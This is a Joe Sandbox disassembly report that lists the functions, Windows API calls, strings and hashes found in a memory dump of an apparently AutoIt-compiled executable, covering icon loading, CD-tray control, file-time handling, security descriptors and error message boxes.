Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 6003b0c9e546c21ad4a13aed03ded9e33a9ce6a0fa118b5acf78ac49829ab052
Instruction ID: c4ea4b8b3eea53bf37f529917032a392344a29441f05c441b6c2a6ada23d55f6
Opcode Fuzzy Hash: 6003b0c9e546c21ad4a13aed03ded9e33a9ce6a0fa118b5acf78ac49829ab052
Instruction Fuzzy Hash: 27915F742087019FCB14EF14C851A6EB7A2EF95354F048869FC965B392DB31ED4ACBB1

Function 00DAE305 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 199windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00DAE3BB
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00DA9615,?), ref: 00DAE417
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00DAE457
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00DAE49C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00DAE4D3
FreeLibrary.KERNEL32(?,00000004,?,?,?,00DA9615,?), ref: 00DAE4DF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00DAE4EF
DestroyIcon.USER32(?), ref: 00DAE4FE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00DAE51B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00DAE527

Part of subcall function 00D61BC7: __wcsicmp_l.LIBCMT ref: 00D61C50

Strings

.dll, xrefs: 00DAE374
.exe, xrefs: 00DAE351
.icl, xrefs: 00DAE331

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: fcd80cd2eeb81bc745bf6f1d6613dde960e6375a9bc0dd84e0aed42ade18efb4
Instruction ID: 6d4630aa244b61d5ea76fbd564829ee4fab117517b0e235f4db711b4e39c3c8d
Opcode Fuzzy Hash: fcd80cd2eeb81bc745bf6f1d6613dde960e6375a9bc0dd84e0aed42ade18efb4
Instruction Fuzzy Hash: FE61BB7150061ABFEB14DB64CC86FAA77ACAB0A710F148215F915E71D1EBB4D980CBB0

Function 00D90E41 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 184timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00D90EFF
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D90F0F
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00D90F1B
__wsplitpath.LIBCMT ref: 00D90F79
_wcscat.LIBCMT ref: 00D90F91
_wcscat.LIBCMT ref: 00D90FA3
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00D90FB8
SetCurrentDirectoryW.KERNEL32(?), ref: 00D90FCC
SetCurrentDirectoryW.KERNEL32(?), ref: 00D90FFE
SetCurrentDirectoryW.KERNEL32(?), ref: 00D9101F
_wcscpy.LIBCMT ref: 00D9102B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00D9106A

Strings

*.*, xrefs: 00D91025

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: b5c599b9ac280b48d87e795da2397a57c7a4d654bcbcef9b01235302c1299c2c
Instruction ID: a1f00a7f6c2fd038cce712cf1b923968093230bd36df45956c8baead7a5983c8
Opcode Fuzzy Hash: b5c599b9ac280b48d87e795da2397a57c7a4d654bcbcef9b01235302c1299c2c
Instruction Fuzzy Hash: 67615DB65043469FCB10EF20C84599EB7E8FF89310F04891AF999D7251EB31E945CBB2

Function 00D8DAAD Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00D484A6: __swprintf.LIBCMT ref: 00D484E5
Part of subcall function 00D484A6: __itow.LIBCMT ref: 00D48519

CharLowerBuffW.USER32(?,?), ref: 00D8DB26
GetDriveTypeW.KERNEL32 ref: 00D8DB73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00D8DBBB
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00D8DBF2
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00D8DC20

Part of subcall function 00D47E53: _memmove.LIBCMT ref: 00D47EB9

Strings

open , xrefs: 00D8DB82
close cd wait, xrefs: 00D8DC0B
close, xrefs: 00D8DB2C
set cd door , xrefs: 00D8DBC1
open, xrefs: 00D8DB4D
closed, xrefs: 00D8DB3A, 00D8DB43
type cdaudio alias cd wait, xrefs: 00D8DB9E
wait, xrefs: 00D8DBDD

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 1ce1acd51b56becb8e88024aefeaa1e31607701819e5082eca5aa4f15b1d4fcc
Instruction ID: 26ac6ca36337d0b9f6c4af14bdc5a2db7efdd093303824b7c2a7976d4e6e3315
Opcode Fuzzy Hash: 1ce1acd51b56becb8e88024aefeaa1e31607701819e5082eca5aa4f15b1d4fcc
Instruction Fuzzy Hash: 28514A711083059FC700EF10C89186AB7F9EF88758F55896CF89A972A1DB31EE09CBB1

Function 00D83110 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 129windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00DB4085,00000016,0000138B,?,00000000,?,?,00000000,?), ref: 00D83145
LoadStringW.USER32(00000000,?,00DB4085,00000016), ref: 00D8314E

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

GetModuleHandleW.KERNEL32(00000000,00000000,?,00000FFF,?,?,00DB4085,00000016,0000138B,?,00000000,?,?,00000000,?,00000040), ref: 00D83170
LoadStringW.USER32(00000000,?,00DB4085,00000016), ref: 00D83173
__swprintf.LIBCMT ref: 00D831B3
__swprintf.LIBCMT ref: 00D831C5
_wprintf.LIBCMT ref: 00D8326C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00D83283

Strings

Line %d (File "%s"):, xrefs: 00D831BF
Line %d:, xrefs: 00D831AD
%s (%d) : ==> %s: %s %s, xrefs: 00D83267
Error: , xrefs: 00D8323C
^ ERROR, xrefs: 00D83216

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: dd50c7f71e990470b7599363a15a77f0f65592daab0c66c24835280950bff5b9
Instruction ID: 38fc58ad6449fcda9781885758323e539f3c8e76eb6e61f368b2e337aa12b0e3
Opcode Fuzzy Hash: dd50c7f71e990470b7599363a15a77f0f65592daab0c66c24835280950bff5b9
Instruction Fuzzy Hash: AA411D72940209ABCB14FBA4DD97EEEB779EF14B00F104065B205B20A2EA756F08CB71

Function 00D8D950 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00D8D96C
__swprintf.LIBCMT ref: 00D8D98E
CreateDirectoryW.KERNEL32(?,00000000), ref: 00D8D9CB
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00D8D9F0
_memset.LIBCMT ref: 00D8DA0F
_wcsncpy.LIBCMT ref: 00D8DA4B
DeviceIoControl.KERNEL32(00000000,000900A4,A0000003,?,00000000,00000000,?,00000000), ref: 00D8DA80
CloseHandle.KERNEL32(00000000), ref: 00D8DA8B
RemoveDirectoryW.KERNEL32(?), ref: 00D8DA94
CloseHandle.KERNEL32(00000000), ref: 00D8DA9E

Strings

\, xrefs: 00D8D9A4
\??\%s, xrefs: 00D8D988
:, xrefs: 00D8D9AF

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 534d316a28256a5034e7c3e7c28c22094874cad15291b22c7829c0e7cae55c68
Instruction ID: 1cb3b99a321eda1ff49f9646312ee416dec7b309e4773fa2995c45010f34f9ef
Opcode Fuzzy Hash: 534d316a28256a5034e7c3e7c28c22094874cad15291b22c7829c0e7cae55c68
Instruction Fuzzy Hash: 5C31A672600209BBDB20EFA4DC49FEA77BDEF84700F1481A5F559D61A0E770DA458BB1

Function 00D7957D Relevance: 22.7, APIs: 15, Instructions: 210COMMONLIBRARYCODE

Download Yara Rule

APIs

_copy_environ.LIBCMT ref: 00D795DD
___wtomb_environ.LIBCMT ref: 00D795FF

Part of subcall function 00D6889E: __getptd_noexit.LIBCMT ref: 00D6889E

__malloc_crt.LIBCMT ref: 00D79625
__malloc_crt.LIBCMT ref: 00D79642
_free.LIBCMT ref: 00D79679
__recalloc_crt.LIBCMT ref: 00D796B2
__recalloc_crt.LIBCMT ref: 00D796F7
_strlen.LIBCMT ref: 00D79723
__calloc_crt.LIBCMT ref: 00D7972D
_strlen.LIBCMT ref: 00D7973C
SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,?,00000000,00000000), ref: 00D7976A
_free.LIBCMT ref: 00D79784
_free.LIBCMT ref: 00D79791
_free.LIBCMT ref: 00D797A3
__invoke_watson.LIBCMT ref: 00D797BD

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _free$__malloc_crt__recalloc_crt_strlen$EnvironmentVariable___wtomb_environ__calloc_crt__getptd_noexit__invoke_watson_copy_environ
String ID:
API String ID: 884005220-0
Opcode ID: 9fab550595874e360d0b08eb4377d25b2cf6fa78b8f1165010bbba7d6e0571f2
Instruction ID: a465178e9a625fc801c2ac2592eb24ba4c15c739bcb2b6901202c4881d2c25b4
Opcode Fuzzy Hash: 9fab550595874e360d0b08eb4377d25b2cf6fa78b8f1165010bbba7d6e0571f2
Instruction Fuzzy Hash: BE611373901605AFDB255F38DC52B6DB7A4EF11720F288229E809AB1C1FB35DC418BB5

Function 00DAE541 Relevance: 22.6, APIs: 15, Instructions: 129filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 00DAE564
GetFileSize.KERNEL32(00000000,00000000), ref: 00DAE57B
GlobalAlloc.KERNEL32(00000002,00000000), ref: 00DAE586
CloseHandle.KERNEL32(00000000), ref: 00DAE593
GlobalLock.KERNEL32(00000000), ref: 00DAE59C
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00DAE5AB
GlobalUnlock.KERNEL32(00000000), ref: 00DAE5B4
CloseHandle.KERNEL32(00000000), ref: 00DAE5BB
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00DAE5CC
OleLoadPicture.OLEAUT32(?,00000000,00000000,00DCD9BC,?), ref: 00DAE5E5
GlobalFree.KERNEL32(00000000), ref: 00DAE5F5
GetObjectW.GDI32(?,00000018,000000FF), ref: 00DAE619
CopyImage.USER32(?,00000000,?,?,00002000), ref: 00DAE644
DeleteObject.GDI32(00000000), ref: 00DAE66C
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00DAE682

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: d84c8f5085fdeee7044d175c207743bca777f13cc7edcdf7e907b88583467295
Instruction ID: 856eae2bd3d1478060eb38a2a02e9ab6782fd177fc9a7d1ce7d4e2a5571de9b0
Opcode Fuzzy Hash: d84c8f5085fdeee7044d175c207743bca777f13cc7edcdf7e907b88583467295
Instruction Fuzzy Hash: 3A415A75A00306BFDB119F65DC88EAABBBAEF8A715F148468F906D7260D7309D01DB70

Function 00D90B20 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 00D90C93
_wcscat.LIBCMT ref: 00D90CAB
_wcscat.LIBCMT ref: 00D90CBD
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00D90CD2
SetCurrentDirectoryW.KERNEL32(?), ref: 00D90CE6
GetFileAttributesW.KERNEL32(?), ref: 00D90CFE
SetFileAttributesW.KERNEL32(?,00000000), ref: 00D90D18
SetCurrentDirectoryW.KERNEL32(?), ref: 00D90D2A

Strings

*.*, xrefs: 00D90D69

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: dc9f190a91f095b19ba95d39ba7613127bd9fd800b2172f7d753ae05d2926f47
Instruction ID: bba93fe1db4df61dc6e1a45e1aa4e67a326318a603f02f185779220ef81781ef
Opcode Fuzzy Hash: dc9f190a91f095b19ba95d39ba7613127bd9fd800b2172f7d753ae05d2926f47
Instruction Fuzzy Hash: 668193715043059FCF64DF64D8449AABBE9EF89314F18892AF889C7251E734ED84CBB2

Function 00DAECBC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D5AF7D: GetWindowLongW.USER32(?,000000EB), ref: 00D5AF8E

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00DAED0C
GetFocus.USER32 ref: 00DAED1C
GetDlgCtrlID.USER32(00000000), ref: 00DAED27
_memset.LIBCMT ref: 00DAEE52
GetMenuItemInfoW.USER32 ref: 00DAEE7D
GetMenuItemCount.USER32(00000000), ref: 00DAEE9D
GetMenuItemID.USER32(?,00000000), ref: 00DAEEB0
GetMenuItemInfoW.USER32(00000000,-00000001,00000001,?), ref: 00DAEEE4
GetMenuItemInfoW.USER32(00000000,?,00000001,?), ref: 00DAEF2C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00DAEF64
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00DAEF99

Strings

0, xrefs: 00DAEE4A

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 3e15154e005620f3f2728c6813c016eb16198171410b129e30bd563ec3ecf1cc
Instruction ID: 9127ae72796024e0c352f400f59298355a7a3d11aee3ed9d32b58425c356c63e
Opcode Fuzzy Hash: 3e15154e005620f3f2728c6813c016eb16198171410b129e30bd563ec3ecf1cc
Instruction Fuzzy Hash: B5817B71208312AFDB10DF14C884A6BBBE9FF8A354F04492DF99997291D730DA45CBB2

Function 00D7B593 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D7B8E7: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00D7B903
Part of subcall function 00D7B8E7: GetLastError.KERNEL32(?,00D7B3CB,?,?,?), ref: 00D7B90D
Part of subcall function 00D7B8E7: GetProcessHeap.KERNEL32(00000008,?,?,00D7B3CB,?,?,?), ref: 00D7B91C
Part of subcall function 00D7B8E7: HeapAlloc.KERNEL32(00000000,?,00D7B3CB,?,?,?), ref: 00D7B923
Part of subcall function 00D7B8E7: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00D7B93A

Part of subcall function 00D7B982: GetProcessHeap.KERNEL32(00000008,00D7B3E1,00000000,00000000,?,00D7B3E1,?), ref: 00D7B98E
Part of subcall function 00D7B982: HeapAlloc.KERNEL32(00000000,?,00D7B3E1,?), ref: 00D7B995
Part of subcall function 00D7B982: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00D7B3E1,?), ref: 00D7B9A6

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00D7B5F7
_memset.LIBCMT ref: 00D7B60C
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00D7B62B
GetLengthSid.ADVAPI32(?), ref: 00D7B63C
GetAce.ADVAPI32(?,00000000,?), ref: 00D7B679
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00D7B695
GetLengthSid.ADVAPI32(?), ref: 00D7B6B2
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00D7B6C1
HeapAlloc.KERNEL32(00000000), ref: 00D7B6C8
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00D7B6E9
CopySid.ADVAPI32(00000000), ref: 00D7B6F0
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00D7B721
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00D7B747
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00D7B75B

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 1df70fad046a08cd583a41575560828237391596d042d972805261c47e986ee1
Instruction ID: 2b06b4f166836ad2142851aab5ca5df1395c46ae5187bd0eb2250f068a878e45
Opcode Fuzzy Hash: 1df70fad046a08cd583a41575560828237391596d042d972805261c47e986ee1
Instruction Fuzzy Hash: 85513C7590020AAFDF049FA4DC45EEEBB79FF44354F04816AE919EB290EB319A05DB70

Function 00D9A268 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 159windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00D9A2DD
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00D9A2E9
CreateCompatibleDC.GDI32(?), ref: 00D9A2F5
SelectObject.GDI32(00000000,?), ref: 00D9A302
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00D9A356
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,?,00000000), ref: 00D9A392
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00D9A3B6
SelectObject.GDI32(00000006,?), ref: 00D9A3BE
DeleteObject.GDI32(?), ref: 00D9A3C7
DeleteDC.GDI32(00000006), ref: 00D9A3CE
ReleaseDC.USER32(00000000,?), ref: 00D9A3D9

Strings

(, xrefs: 00D9A37E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 7e07f62a31694f7d89f66d236099ecda98f3cf430105310443c9cedacf3b7b5b
Instruction ID: 4ffcd3f75db275388b1a078d9a8de7263365c80a09e3db3f536c5836a208a3e0
Opcode Fuzzy Hash: 7e07f62a31694f7d89f66d236099ecda98f3cf430105310443c9cedacf3b7b5b
Instruction Fuzzy Hash: F6513B7690030AAFDB15CFA8CC84EAEBBB9EF48310F14841DF99597350D731A941CBA0

Function 00D832B0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00DB3C64,00000010,00000000,Bad directive syntax error,00DDDBF0,00000000,?,00000000,?,>>>AUTOIT SCRIPT<<<), ref: 00D832D1
LoadStringW.USER32(00000000,?,00DB3C64,00000010), ref: 00D832D8

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

_wprintf.LIBCMT ref: 00D83309
__swprintf.LIBCMT ref: 00D8332B
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00D83395

Strings

., xrefs: 00D8337B
", xrefs: 00D83338, 00D83322, 00D832FE
Line %d (File "%s"):, xrefs: 00D8333B
%s (%d) : ==> %s.: %s %s, xrefs: 00D83304
Line %d:, xrefs: 00D83325
Error: , xrefs: 00D83363

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:$"
API String ID: 1506413516-3476811254
